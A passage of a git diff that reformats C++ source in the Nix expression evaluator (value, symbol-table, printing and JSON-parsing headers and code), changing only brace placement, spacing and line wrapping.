prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Value & v); +void prim_importNative(EvalState & state, const PosIdx pos, Value ** args, Value & v); /** * Execute a program and parse its output */ -void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v); +void prim_exec(EvalState & state, const PosIdx pos, Value ** args, Value & v); void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column); diff --git a/src/libexpr/include/nix/expr/print-ambiguous.hh b/src/libexpr/include/nix/expr/print-ambiguous.hh index 09a849c49..38c90cfb7 100644 --- a/src/libexpr/include/nix/expr/print-ambiguous.hh +++ b/src/libexpr/include/nix/expr/print-ambiguous.hh @@ -15,10 +15,6 @@ namespace nix { * See: https://github.com/NixOS/nix/issues/9730 */ void printAmbiguous( - Value &v, - const SymbolTable &symbols, - std::ostream &str, - std::set *seen, - int depth); + Value & v, const SymbolTable & symbols, std::ostream & str, std::set * seen, int depth); } diff --git a/src/libexpr/include/nix/expr/print-options.hh b/src/libexpr/include/nix/expr/print-options.hh index 9ad54e532..51494db8e 100644 --- a/src/libexpr/include/nix/expr/print-options.hh +++ b/src/libexpr/include/nix/expr/print-options.hh @@ -110,7 +110,7 @@ struct PrintOptions * `PrintOptions` for unknown and therefore potentially large values in error messages, * to avoid printing "too much" output. */ -static PrintOptions errorPrintOptions = PrintOptions { +static PrintOptions errorPrintOptions = PrintOptions{ .ansiColors = true, .maxDepth = 10, .maxAttrs = 10, diff --git a/src/libexpr/include/nix/expr/print.hh b/src/libexpr/include/nix/expr/print.hh index ac9bf23a4..042b349f3 100644 --- a/src/libexpr/include/nix/expr/print.hh +++ b/src/libexpr/include/nix/expr/print.hh @@ -26,10 +26,12 @@ struct Value; * @param s The logical string */ std::ostream & printLiteralString(std::ostream & o, std::string_view s); -inline std::ostream & printLiteralString(std::ostream & o, const char * s) { +inline std::ostream & printLiteralString(std::ostream & o, const char * s) +{ return printLiteralString(o, std::string_view(s)); } -inline std::ostream & printLiteralString(std::ostream & o, const std::string & s) { +inline std::ostream & printLiteralString(std::ostream & o, const std::string & s) +{ return printLiteralString(o, std::string_view(s)); } @@ -60,27 +62,31 @@ bool isReservedKeyword(const std::string_view str); */ std::ostream & printIdentifier(std::ostream & o, std::string_view s); -void printValue(EvalState & state, std::ostream & str, Value & v, PrintOptions options = PrintOptions {}); +void printValue(EvalState & state, std::ostream & str, Value & v, PrintOptions options = PrintOptions{}); /** * A partially-applied form of `printValue` which can be formatted using `<<` * without allocating an intermediate string. */ -class ValuePrinter { - friend std::ostream & operator << (std::ostream & output, const ValuePrinter & printer); +class ValuePrinter +{ + friend std::ostream & operator<<(std::ostream & output, const ValuePrinter & printer); private: EvalState & state; Value & value; PrintOptions options; public: - ValuePrinter(EvalState & state, Value & value, PrintOptions options = PrintOptions {}) - : state(state), value(value), options(options) { } + ValuePrinter(EvalState & state, Value & value, PrintOptions options = PrintOptions{}) + : state(state) + , value(value) + , options(options) + { + } }; std::ostream & operator<<(std::ostream & output, const ValuePrinter & printer); - /** * `ValuePrinter` does its own ANSI formatting, so we don't color it * magenta. diff --git a/src/libexpr/include/nix/expr/symbol-table.hh b/src/libexpr/include/nix/expr/symbol-table.hh index 018465bf5..a8ae006ba 100644 --- a/src/libexpr/include/nix/expr/symbol-table.hh +++ b/src/libexpr/include/nix/expr/symbol-table.hh @@ -23,10 +23,13 @@ class SymbolStr private: const std::string * s; - explicit SymbolStr(const std::string & symbol): s(&symbol) {} + explicit SymbolStr(const std::string & symbol) + : s(&symbol) + { + } public: - bool operator == (std::string_view s2) const + bool operator==(std::string_view s2) const { return *s == s2; } @@ -36,12 +39,12 @@ public: return s->c_str(); } - operator const std::string_view () const + operator const std::string_view() const { return *s; } - friend std::ostream & operator <<(std::ostream & os, const SymbolStr & symbol); + friend std::ostream & operator<<(std::ostream & os, const SymbolStr & symbol); bool empty() const { @@ -61,15 +64,30 @@ class Symbol private: uint32_t id; - explicit Symbol(uint32_t id): id(id) {} + explicit Symbol(uint32_t id) + : id(id) + { + } public: - Symbol() : id(0) {} + Symbol() + : id(0) + { + } - explicit operator bool() const { return id > 0; } + explicit operator bool() const + { + return id > 0; + } - auto operator<=>(const Symbol other) const { return id <=> other.id; } - bool operator==(const Symbol other) const { return id == other.id; } + auto operator<=>(const Symbol other) const + { + return id <=> other.id; + } + bool operator==(const Symbol other) const + { + return id == other.id; + } friend class std::hash; }; @@ -97,7 +115,8 @@ public: // on the original implementation using unordered_set // FIXME: make this thread-safe. auto it = symbols.find(s); - if (it != symbols.end()) return Symbol(it->second.second + 1); + if (it != symbols.end()) + return Symbol(it->second.second + 1); const auto & [rawSym, idx] = store.add(std::string(s)); symbols.emplace(rawSym, std::make_pair(&rawSym, idx)); diff --git a/src/libexpr/include/nix/expr/value-to-json.hh b/src/libexpr/include/nix/expr/value-to-json.hh index 1a6911347..53ff0db5f 100644 --- a/src/libexpr/include/nix/expr/value-to-json.hh +++ b/src/libexpr/include/nix/expr/value-to-json.hh @@ -10,12 +10,17 @@ namespace nix { -nlohmann::json printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, NixStringContext & context, bool copyToStore = true); - -void printValueAsJSON(EvalState & state, bool strict, - Value & v, const PosIdx pos, std::ostream & str, NixStringContext & context, bool copyToStore = true); +nlohmann::json printValueAsJSON( + EvalState & state, bool strict, Value & v, const PosIdx pos, NixStringContext & context, bool copyToStore = true); +void printValueAsJSON( + EvalState & state, + bool strict, + Value & v, + const PosIdx pos, + std::ostream & str, + NixStringContext & context, + bool copyToStore = true); MakeError(JSONSerializationError, Error); diff --git a/src/libexpr/include/nix/expr/value-to-xml.hh b/src/libexpr/include/nix/expr/value-to-xml.hh index e22325de5..50a7c43cc 100644 --- a/src/libexpr/include/nix/expr/value-to-xml.hh +++ b/src/libexpr/include/nix/expr/value-to-xml.hh @@ -9,7 +9,13 @@ namespace nix { -void printValueAsXML(EvalState & state, bool strict, bool location, - Value & v, std::ostream & out, NixStringContext & context, const PosIdx pos); +void printValueAsXML( + EvalState & state, + bool strict, + bool location, + Value & v, + std::ostream & out, + NixStringContext & context, + const PosIdx pos); } diff --git a/src/libexpr/include/nix/expr/value.hh b/src/libexpr/include/nix/expr/value.hh index e9cc1cd3f..26eddeef7 100644 --- a/src/libexpr/include/nix/expr/value.hh +++ b/src/libexpr/include/nix/expr/value.hh @@ -18,7 +18,6 @@ namespace nix { struct Value; class BindingsBuilder; - typedef enum { tUninitialized = 0, tInt = 1, @@ -44,19 +43,7 @@ typedef enum { * grouping together implementation details like tList*, different function * types, and types in non-normal form (so thunks and co.) */ -typedef enum { - nThunk, - nInt, - nFloat, - nBool, - nString, - nPath, - nNull, - nAttrs, - nList, - nFunction, - nExternal -} ValueType; +typedef enum { nThunk, nInt, nFloat, nBool, nString, nPath, nNull, nAttrs, nList, nFunction, nExternal } ValueType; class Bindings; struct Env; @@ -81,15 +68,15 @@ using NixFloat = double; */ class ExternalValueBase { - friend std::ostream & operator << (std::ostream & str, const ExternalValueBase & v); + friend std::ostream & operator<<(std::ostream & str, const ExternalValueBase & v); friend class Printer; - protected: +protected: /** * Print out the value */ virtual std::ostream & print(std::ostream & str) const = 0; - public: +public: /** * Return a simple string describing the type */ @@ -104,41 +91,44 @@ class ExternalValueBase * Coerce the value to a string. Defaults to uncoercable, i.e. throws an * error. */ - virtual std::string coerceToString(EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const; + virtual std::string coerceToString( + EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const; /** * Compare to another value of the same type. Defaults to uncomparable, * i.e. always false. */ - virtual bool operator ==(const ExternalValueBase & b) const noexcept; + virtual bool operator==(const ExternalValueBase & b) const noexcept; /** * Print the value as JSON. Defaults to unconvertable, i.e. throws an error */ - virtual nlohmann::json printValueAsJSON(EvalState & state, bool strict, - NixStringContext & context, bool copyToStore = true) const; + virtual nlohmann::json + printValueAsJSON(EvalState & state, bool strict, NixStringContext & context, bool copyToStore = true) const; /** * Print the value as XML. Defaults to unevaluated */ - virtual void printValueAsXML(EvalState & state, bool strict, bool location, - XMLWriter & doc, NixStringContext & context, PathSet & drvsSeen, + virtual void printValueAsXML( + EvalState & state, + bool strict, + bool location, + XMLWriter & doc, + NixStringContext & context, + PathSet & drvsSeen, const PosIdx pos) const; - virtual ~ExternalValueBase() - { - }; + virtual ~ExternalValueBase() {}; }; -std::ostream & operator << (std::ostream & str, const ExternalValueBase & v); - +std::ostream & operator<<(std::ostream & str, const ExternalValueBase & v); class ListBuilder { const size_t size; Value * inlineElems[2] = {nullptr, nullptr}; public: - Value * * elems; + Value ** elems; ListBuilder(EvalState & state, size_t size); // NOTE: Can be noexcept because we are just copying integral values and @@ -147,22 +137,28 @@ public: : size(x.size) , inlineElems{x.inlineElems[0], x.inlineElems[1]} , elems(size <= 2 ? inlineElems : x.elems) - { } + { + } - Value * & operator [](size_t n) + Value *& operator[](size_t n) { return elems[n]; } - typedef Value * * iterator; + typedef Value ** iterator; - iterator begin() { return &elems[0]; } - iterator end() { return &elems[size]; } + iterator begin() + { + return &elems[0]; + } + iterator end() + { + return &elems[size]; + } friend struct Value; }; - struct Value { private: @@ -172,21 +168,36 @@ private: public: - void print(EvalState &state, std::ostream &str, PrintOptions options = PrintOptions {}); + void print(EvalState & state, std::ostream & str, PrintOptions options = PrintOptions{}); // Functions needed to distinguish the type // These should be removed eventually, by putting the functionality that's // needed by callers into methods of this type // type() == nThunk - inline bool isThunk() const { return internalType == tThunk; }; - inline bool isApp() const { return internalType == tApp; }; + inline bool isThunk() const + { + return internalType == tThunk; + }; + inline bool isApp() const + { + return internalType == tApp; + }; inline bool isBlackhole() const; // type() == nFunction - inline bool isLambda() const { return internalType == tLambda; }; - inline bool isPrimOp() const { return internalType == tPrimOp; }; - inline bool isPrimOpApp() const { return internalType == tPrimOpApp; }; + inline bool isLambda() const + { + return internalType == tLambda; + }; + inline bool isPrimOp() const + { + return internalType == tPrimOp; + }; + inline bool isPrimOpApp() const + { + return internalType == tPrimOpApp; + }; /** * Strings in the evaluator carry a so-called `context` which @@ -210,26 +221,31 @@ public: * For canonicity, the store paths should be in sorted order. */ - struct StringWithContext { + struct StringWithContext + { const char * c_str; - const char * * context; // must be in sorted order + const char ** context; // must be in sorted order }; - struct Path { + struct Path + { SourceAccessor * accessor; const char * path; }; - struct ClosureThunk { + struct ClosureThunk + { Env * env; Expr * expr; }; - struct FunctionApplicationThunk { - Value * left, * right; + struct FunctionApplicationThunk + { + Value *left, *right; }; - struct Lambda { + struct Lambda + { Env * env; ExprLambda * fun; }; @@ -244,7 +260,8 @@ public: Path path; Bindings * attrs; - struct { + struct + { size_t size; Value * const * elems; } bigList; @@ -270,18 +287,35 @@ public: inline ValueType type(bool invalidIsThunk = false) const { switch (internalType) { - case tUninitialized: break; - case tInt: return nInt; - case tBool: return nBool; - case tString: return nString; - case tPath: return nPath; - case tNull: return nNull; - case tAttrs: return nAttrs; - case tList1: case tList2: case tListN: return nList; - case tLambda: case tPrimOp: case tPrimOpApp: return nFunction; - case tExternal: return nExternal; - case tFloat: return nFloat; - case tThunk: case tApp: return nThunk; + case tUninitialized: + break; + case tInt: + return nInt; + case tBool: + return nBool; + case tString: + return nString; + case tPath: + return nPath; + case tNull: + return nNull; + case tAttrs: + return nAttrs; + case tList1: + case tList2: + case tListN: + return nList; + case tLambda: + case tPrimOp: + case tPrimOpApp: + return nFunction; + case tExternal: + return nExternal; + case tFloat: + return nFloat; + case tThunk: + case tApp: + return nThunk; } if (invalidIsThunk) return nThunk; @@ -312,17 +346,17 @@ public: inline void mkInt(NixInt n) { - finishValue(tInt, { .integer = n }); + finishValue(tInt, {.integer = n}); } inline void mkBool(bool b) { - finishValue(tBool, { .boolean = b }); + finishValue(tBool, {.boolean = b}); } - inline void mkString(const char * s, const char * * context = 0) + inline void mkString(const char * s, const char ** context = 0) { - finishValue(tString, { .string = { .c_str = s, .context = context } }); + finishValue(tString, {.string = {.c_str = s, .context = context}}); } void mkString(std::string_view s); @@ -341,7 +375,7 @@ public: inline void mkPath(SourceAccessor * accessor, const char * path) { - finishValue(tPath, { .path = { .accessor = accessor, .path = path } }); + finishValue(tPath, {.path = {.accessor = accessor, .path = path}}); } inline void mkNull() @@ -351,7 +385,7 @@ public: inline void mkAttrs(Bindings * a) { - finishValue(tAttrs, { .attrs = a }); + finishValue(tAttrs, {.attrs = a}); } Value & mkAttrs(BindingsBuilder & bindings); @@ -359,26 +393,26 @@ public: void mkList(const ListBuilder & builder) { if (builder.size == 1) - finishValue(tList1, { .smallList = { builder.inlineElems[0] } }); + finishValue(tList1, {.smallList = {builder.inlineElems[0]}}); else if (builder.size == 2) - finishValue(tList2, { .smallList = { builder.inlineElems[0], builder.inlineElems[1] } }); + finishValue(tList2, {.smallList = {builder.inlineElems[0], builder.inlineElems[1]}}); else - finishValue(tListN, { .bigList = { .size = builder.size, .elems = builder.elems } }); + finishValue(tListN, {.bigList = {.size = builder.size, .elems = builder.elems}}); } inline void mkThunk(Env * e, Expr * ex) { - finishValue(tThunk, { .thunk = { .env = e, .expr = ex } }); + finishValue(tThunk, {.thunk = {.env = e, .expr = ex}}); } inline void mkApp(Value * l, Value * r) { - finishValue(tApp, { .app = { .left = l, .right = r } }); + finishValue(tApp, {.app = {.left = l, .right = r}}); } inline void mkLambda(Env * e, ExprLambda * f) { - finishValue(tLambda, { .lambda = { .env = e, .fun = f } }); + finishValue(tLambda, {.lambda = {.env = e, .fun = f}}); } inline void mkBlackhole(); @@ -387,7 +421,7 @@ public: inline void mkPrimOpApp(Value * l, Value * r) { - finishValue(tPrimOpApp, { .primOpApp = { .left = l, .right = r } }); + finishValue(tPrimOpApp, {.primOpApp = {.left = l, .right = r}}); } /** @@ -397,12 +431,12 @@ public: inline void mkExternal(ExternalValueBase * e) { - finishValue(tExternal, { .external = e }); + finishValue(tExternal, {.external = e}); } inline void mkFloat(NixFloat n) { - finishValue(tFloat, { .fpoint = n }); + finishValue(tFloat, {.fpoint = n}); } bool isList() const @@ -444,8 +478,7 @@ public: { assert(internalType == tPath); return SourcePath( - ref(payload.path.accessor->shared_from_this()), - CanonPath(CanonPath::unchecked_t(), payload.path.path)); + ref(payload.path.accessor->shared_from_this()), CanonPath(CanonPath::unchecked_t(), payload.path.path)); } std::string_view string_view() const @@ -460,36 +493,47 @@ public: return payload.string.c_str; } - const char * * context() const + const char ** context() const { return payload.string.context; } ExternalValueBase * external() const - { return payload.external; } + { + return payload.external; + } const Bindings * attrs() const - { return payload.attrs; } + { + return payload.attrs; + } const PrimOp * primOp() const - { return payload.primOp; } + { + return payload.primOp; + } bool boolean() const - { return payload.boolean; } + { + return payload.boolean; + } NixInt integer() const - { return payload.integer; } + { + return payload.integer; + } NixFloat fpoint() const - { return payload.fpoint; } + { + return payload.fpoint; + } }; - extern ExprBlackHole eBlackHole; bool Value::isBlackhole() const { - return internalType == tThunk && payload.thunk.expr == (Expr*) &eBlackHole; + return internalType == tThunk && payload.thunk.expr == (Expr *) &eBlackHole; } void Value::mkBlackhole() @@ -497,11 +541,16 @@ void Value::mkBlackhole() mkThunk(nullptr, (Expr *) &eBlackHole); } - typedef std::vector> ValueVector; -typedef std::unordered_map, std::equal_to, traceable_allocator>> ValueMap; -typedef std::map, traceable_allocator>> ValueVectorMap; - +typedef std::unordered_map< + Symbol, + Value *, + std::hash, + std::equal_to, + traceable_allocator>> + ValueMap; +typedef std::map, traceable_allocator>> + ValueVectorMap; /** * A value allocated in traceable memory. diff --git a/src/libexpr/include/nix/expr/value/context.hh b/src/libexpr/include/nix/expr/value/context.hh index f2de184ea..d574ab632 100644 --- a/src/libexpr/include/nix/expr/value/context.hh +++ b/src/libexpr/include/nix/expr/value/context.hh @@ -15,7 +15,7 @@ public: std::string_view raw; template - BadNixStringContextElem(std::string_view raw_, const Args & ... args) + BadNixStringContextElem(std::string_view raw_, const Args &... args) : Error("") { raw = raw_; @@ -24,7 +24,8 @@ public: } }; -struct NixStringContextElem { +struct NixStringContextElem +{ /** * Plain opaque path to some store object. * @@ -41,7 +42,8 @@ struct NixStringContextElem { * * Encoded in the form `=`. */ - struct DrvDeep { + struct DrvDeep + { StorePath drvPath; GENERATE_CMP(DrvDeep, me->drvPath); @@ -54,11 +56,7 @@ struct NixStringContextElem { */ using Built = SingleDerivedPath::Built; - using Raw = std::variant< - Opaque, - DrvDeep, - Built - >; + using Raw = std::variant; Raw raw; @@ -74,9 +72,8 @@ struct NixStringContextElem { * * @param xpSettings Stop-gap to avoid globals during unit tests. */ - static NixStringContextElem parse( - std::string_view s, - const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + static NixStringContextElem + parse(std::string_view s, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); std::string to_string() const; }; diff --git a/src/libexpr/json-to-value.cc b/src/libexpr/json-to-value.cc index e38ac7db4..ce58fa2d4 100644 --- a/src/libexpr/json-to-value.cc +++ b/src/libexpr/json-to-value.cc @@ -12,8 +12,10 @@ namespace nix { // for more information, refer to // https://github.com/nlohmann/json/blob/master/include/nlohmann/detail/input/json_sax.hpp -class JSONSax : nlohmann::json_sax { - class JSONState { +class JSONSax : nlohmann::json_sax +{ + class JSONState + { protected: std::unique_ptr parent; RootValue v; @@ -22,8 +24,14 @@ class JSONSax : nlohmann::json_sax { { throw std::logic_error("tried to close toplevel json parser state"); } - explicit JSONState(std::unique_ptr && p) : parent(std::move(p)) {} - explicit JSONState(Value * v) : v(allocRootValue(v)) {} + explicit JSONState(std::unique_ptr && p) + : parent(std::move(p)) + { + } + explicit JSONState(Value * v) + : v(allocRootValue(v)) + { + } JSONState(JSONState & p) = delete; Value & value(EvalState & state) { @@ -35,7 +43,8 @@ class JSONSax : nlohmann::json_sax { virtual void add() {} }; - class JSONObjectState : public JSONState { + class JSONObjectState : public JSONState + { using JSONState::JSONState; ValueMap attrs; std::unique_ptr resolve(EvalState & state) override @@ -46,7 +55,10 @@ class JSONSax : nlohmann::json_sax { parent->value(state).mkAttrs(attrs2); return std::move(parent); } - void add() override { v = nullptr; } + void add() override + { + v = nullptr; + } public: void key(string_t & name, EvalState & state) { @@ -55,7 +67,8 @@ class JSONSax : nlohmann::json_sax { } }; - class JSONListState : public JSONState { + class JSONListState : public JSONState + { ValueVector values; std::unique_ptr resolve(EvalState & state) override { @@ -65,12 +78,14 @@ class JSONSax : nlohmann::json_sax { parent->value(state).mkList(list); return std::move(parent); } - void add() override { + void add() override + { values.push_back(*v); v = nullptr; } public: - JSONListState(std::unique_ptr && p, std::size_t reserve) : JSONState(std::move(p)) + JSONListState(std::unique_ptr && p, std::size_t reserve) + : JSONState(std::move(p)) { values.reserve(reserve); } @@ -80,7 +95,9 @@ class JSONSax : nlohmann::json_sax { std::unique_ptr rs; public: - JSONSax(EvalState & state, Value & v) : state(state), rs(new JSONState(&v)) {}; + JSONSax(EvalState & state, Value & v) + : state(state) + , rs(new JSONState(&v)) {}; bool null() override { @@ -130,7 +147,7 @@ public: } #if NLOHMANN_JSON_VERSION_MAJOR >= 3 && NLOHMANN_JSON_VERSION_MINOR >= 8 - bool binary(binary_t&) override + bool binary(binary_t &) override { // This function ought to be unreachable assert(false); @@ -146,27 +163,30 @@ public: bool key(string_t & name) override { - dynamic_cast(rs.get())->key(name, state); + dynamic_cast(rs.get())->key(name, state); return true; } - bool end_object() override { + bool end_object() override + { rs = rs->resolve(state); rs->add(); return true; } - bool end_array() override { + bool end_array() override + { return end_object(); } - bool start_array(size_t len) override { - rs = std::make_unique(std::move(rs), - len != std::numeric_limits::max() ? len : 128); + bool start_array(size_t len) override + { + rs = std::make_unique(std::move(rs), len != std::numeric_limits::max() ? len : 128); return true; } - bool parse_error(std::size_t, const std::string&, const nlohmann::detail::exception& ex) override { + bool parse_error(std::size_t, const std::string &, const nlohmann::detail::exception & ex) override + { throw JSONParseError("%s", ex.what()); } }; diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 1a71096d4..b808d96ff 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -17,7 +17,7 @@ ExprBlackHole eBlackHole; // FIXME: remove, because *symbols* are abstract and do not have a single // textual representation; see printIdentifier() -std::ostream & operator <<(std::ostream & str, const SymbolStr & symbol) +std::ostream & operator<<(std::ostream & str, const SymbolStr & symbol) { std::string_view s = symbol; return printIdentifier(str, s); @@ -76,7 +76,8 @@ void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) co { typedef const decltype(attrs)::value_type * Attr; std::vector sorted; - for (auto & i : attrs) sorted.push_back(&i); + for (auto & i : attrs) + sorted.push_back(&i); std::sort(sorted.begin(), sorted.end(), [&](Attr a, Attr b) { std::string_view sa = symbols[a->first], sb = symbols[b->first]; return sa < sb; @@ -102,14 +103,16 @@ void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) co } if (!inherits.empty()) { str << "inherit"; - for (auto sym : inherits) str << " " << symbols[sym]; + for (auto sym : inherits) + str << " " << symbols[sym]; str << "; "; } for (const auto & [from, syms] : inheritsFrom) { str << "inherit ("; (*inheritFromExprs)[from]->show(symbols, str); str << ")"; - for (auto sym : syms) str << " " << symbols[sym]; + for (auto sym : syms) + str << " " << symbols[sym]; str << "; "; } for (auto & i : sorted) { @@ -130,7 +133,8 @@ void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) co void ExprAttrs::show(const SymbolTable & symbols, std::ostream & str) const { - if (recursive) str << "rec "; + if (recursive) + str << "rec "; str << "{ "; showBindings(symbols, str); str << "}"; @@ -157,7 +161,10 @@ void ExprLambda::show(const SymbolTable & symbols, std::ostream & str) const // same expression being printed in two different ways depending on its // context. always use lexicographic ordering to avoid this. for (auto & i : formals->lexicographicOrder(symbols)) { - if (first) first = false; else str << ", "; + if (first) + first = false; + else + str << ", "; str << symbols[i.name]; if (i.def) { str << " ? "; @@ -165,13 +172,16 @@ void ExprLambda::show(const SymbolTable & symbols, std::ostream & str) const } } if (formals->ellipsis) { - if (!first) str << ", "; + if (!first) + str << ", "; str << "..."; } str << " }"; - if (arg) str << " @ "; + if (arg) + str << " @ "; } - if (arg) str << symbols[arg]; + if (arg) + str << symbols[arg]; str << ": "; body->show(symbols, str); str << ")"; @@ -182,7 +192,7 @@ void ExprCall::show(const SymbolTable & symbols, std::ostream & str) const str << '('; fun->show(symbols, str); for (auto e : args) { - str << ' '; + str << ' '; e->show(symbols, str); } str << ')'; @@ -237,7 +247,10 @@ void ExprConcatStrings::show(const SymbolTable & symbols, std::ostream & str) co bool first = true; str << "("; for (auto & i : *es) { - if (first) first = false; else str << " + "; + if (first) + first = false; + else + str << " + "; i.second->show(symbols, str); } str << ")"; @@ -248,13 +261,15 @@ void ExprPos::show(const SymbolTable & symbols, std::ostream & str) const str << "__curPos"; } - std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath) { std::ostringstream out; bool first = true; for (auto & i : attrPath) { - if (!first) out << '.'; else first = false; + if (!first) + out << '.'; + else + first = false; if (i.symbol) out << symbols[i.symbol]; else { @@ -266,7 +281,6 @@ std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath) return out.str(); } - /* Computing levels/displacements for variables. */ void Expr::bindVars(EvalState & es, const std::shared_ptr & env) @@ -312,7 +326,8 @@ void ExprVar::bindVars(EvalState & es, const std::shared_ptr & int withLevel = -1; for (curEnv = env.get(), level = 0; curEnv; curEnv = curEnv->up.get(), level++) { if (curEnv->isWith) { - if (withLevel == -1) withLevel = level; + if (withLevel == -1) + withLevel = level; } else { auto i = curEnv->find(name); if (i != curEnv->vars.end()) { @@ -327,10 +342,7 @@ void ExprVar::bindVars(EvalState & es, const std::shared_ptr & enclosing `with'. If there is no `with', then we can issue an "undefined variable" error now. */ if (withLevel == -1) - es.error( - "undefined variable '%1%'", - es.symbols[name] - ).atPos(pos).debugThrow(); + es.error("undefined variable '%1%'", es.symbols[name]).atPos(pos).debugThrow(); for (auto * e = env.get(); e && !fromWith; e = e->up.get()) fromWith = e->isWith; this->level = withLevel; @@ -348,7 +360,8 @@ void ExprSelect::bindVars(EvalState & es, const std::shared_ptr es.exprEnvs.insert(std::make_pair(this, env)); e->bindVars(es, env); - if (def) def->bindVars(es, env); + if (def) + def->bindVars(es, env); for (auto & i : attrPath) if (!i.symbol) i.expr->bindVars(es, env); @@ -365,8 +378,8 @@ void ExprOpHasAttr::bindVars(EvalState & es, const std::shared_ptrbindVars(es, env); } -std::shared_ptr ExprAttrs::bindInheritSources( - EvalState & es, const std::shared_ptr & env) +std::shared_ptr +ExprAttrs::bindInheritSources(EvalState & es, const std::shared_ptr & env) { if (!inheritFromExprs) return nullptr; @@ -392,7 +405,7 @@ void ExprAttrs::bindVars(EvalState & es, const std::shared_ptr es.exprEnvs.insert(std::make_pair(this, env)); if (recursive) { - auto newEnv = [&] () -> std::shared_ptr { + auto newEnv = [&]() -> std::shared_ptr { auto newEnv = std::make_shared(nullptr, env, attrs.size()); Displacement displ = 0; @@ -411,8 +424,7 @@ void ExprAttrs::bindVars(EvalState & es, const std::shared_ptr i.nameExpr->bindVars(es, newEnv); i.valueExpr->bindVars(es, newEnv); } - } - else { + } else { auto inheritFromEnv = bindInheritSources(es, env); for (auto & i : attrs) @@ -439,14 +451,13 @@ void ExprLambda::bindVars(EvalState & es, const std::shared_ptr if (es.debugRepl) es.exprEnvs.insert(std::make_pair(this, env)); - auto newEnv = std::make_shared( - nullptr, env, - (hasFormals() ? formals->formals.size() : 0) + - (!arg ? 0 : 1)); + auto newEnv = + std::make_shared(nullptr, env, (hasFormals() ? formals->formals.size() : 0) + (!arg ? 0 : 1)); Displacement displ = 0; - if (arg) newEnv->vars.emplace_back(arg, displ++); + if (arg) + newEnv->vars.emplace_back(arg, displ++); if (hasFormals()) { for (auto & i : formals->formals) @@ -455,7 +466,8 @@ void ExprLambda::bindVars(EvalState & es, const std::shared_ptr newEnv->sort(); for (auto & i : formals->formals) - if (i.def) i.def->bindVars(es, newEnv); + if (i.def) + i.def->bindVars(es, newEnv); } body->bindVars(es, newEnv); @@ -473,7 +485,7 @@ void ExprCall::bindVars(EvalState & es, const std::shared_ptr & void ExprLet::bindVars(EvalState & es, const std::shared_ptr & env) { - auto newEnv = [&] () -> std::shared_ptr { + auto newEnv = [&]() -> std::shared_ptr { auto newEnv = std::make_shared(nullptr, env, attrs->attrs.size()); Displacement displ = 0; @@ -562,13 +574,9 @@ void ExprPos::bindVars(EvalState & es, const std::shared_ptr & es.exprEnvs.insert(std::make_pair(this, env)); } - /* Storing function names. */ -void Expr::setName(Symbol name) -{ -} - +void Expr::setName(Symbol name) {} void ExprLambda::setName(Symbol name) { @@ -576,16 +584,14 @@ void ExprLambda::setName(Symbol name) body->setName(name); } - std::string ExprLambda::showNamePos(const EvalState & state) const { - std::string id(name - ? concatStrings("'", state.symbols[name], "'") - : "anonymous function"); + std::string id(name ? concatStrings("'", state.symbols[name], "'") : "anonymous function"); return fmt("%1% at %2%", id, state.positions[pos]); } -void ExprLambda::setDocComment(DocComment docComment) { +void ExprLambda::setDocComment(DocComment docComment) +{ // RFC 145 specifies that the innermost doc comment wins. // See https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md#ambiguous-placement if (!this->docComment) { @@ -606,11 +612,12 @@ void ExprLambda::setDocComment(DocComment docComment) { size_t SymbolTable::totalSize() const { size_t n = 0; - dump([&] (const std::string & s) { n += s.size(); }); + dump([&](const std::string & s) { n += s.size(); }); return n; } -std::string DocComment::getInnerText(const PosTable & positions) const { +std::string DocComment::getInnerText(const PosTable & positions) const +{ auto beginPos = positions[begin]; auto endPos = positions[end]; auto docCommentStr = beginPos.getSnippetUpTo(endPos).value_or(""); @@ -628,8 +635,6 @@ std::string DocComment::getInnerText(const PosTable & positions) const { return docStr; } - - /* ‘Cursed or’ handling. * * In parser.y, every use of expr_select in a production must call one of the @@ -647,10 +652,13 @@ void ExprCall::warnIfCursedOr(const SymbolTable & symbols, const PosTable & posi { if (cursedOrEndPos.has_value()) { std::ostringstream out; - out << "at " << positions[pos] << ": " + out << "at " << positions[pos] + << ": " "This expression uses `or` as an identifier in a way that will change in a future Nix release.\n" "Wrap this entire expression in parentheses to preserve its current meaning:\n" - " (" << positions[pos].getSnippetUpTo(positions[*cursedOrEndPos]).value_or("could not read expression") << ")\n" + " (" + << positions[pos].getSnippetUpTo(positions[*cursedOrEndPos]).value_or("could not read expression") + << ")\n" "Give feedback at https://github.com/NixOS/nix/pull/11121"; warn(out.str()); } diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 5e331f84d..99db686a8 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -28,14 +28,13 @@ #include #ifndef _WIN32 -# include +# include #endif #include namespace nix { - /************************************************************* * Miscellaneous *************************************************************/ @@ -66,40 +65,45 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS if (!store->isValidPath(p)) error(store->printStorePath(p)).debugThrow(); }; - std::visit(overloaded { - [&](const NixStringContextElem::Built & b) { - drvs.push_back(DerivedPath::Built { - .drvPath = b.drvPath, - .outputs = OutputsSpec::Names { b.output }, - }); - ensureValid(b.drvPath->getBaseStorePath()); + std::visit( + overloaded{ + [&](const NixStringContextElem::Built & b) { + drvs.push_back( + DerivedPath::Built{ + .drvPath = b.drvPath, + .outputs = OutputsSpec::Names{b.output}, + }); + ensureValid(b.drvPath->getBaseStorePath()); + }, + [&](const NixStringContextElem::Opaque & o) { + ensureValid(o.path); + if (maybePathsOut) + maybePathsOut->emplace(o.path); + }, + [&](const NixStringContextElem::DrvDeep & d) { + /* Treat same as Opaque */ + 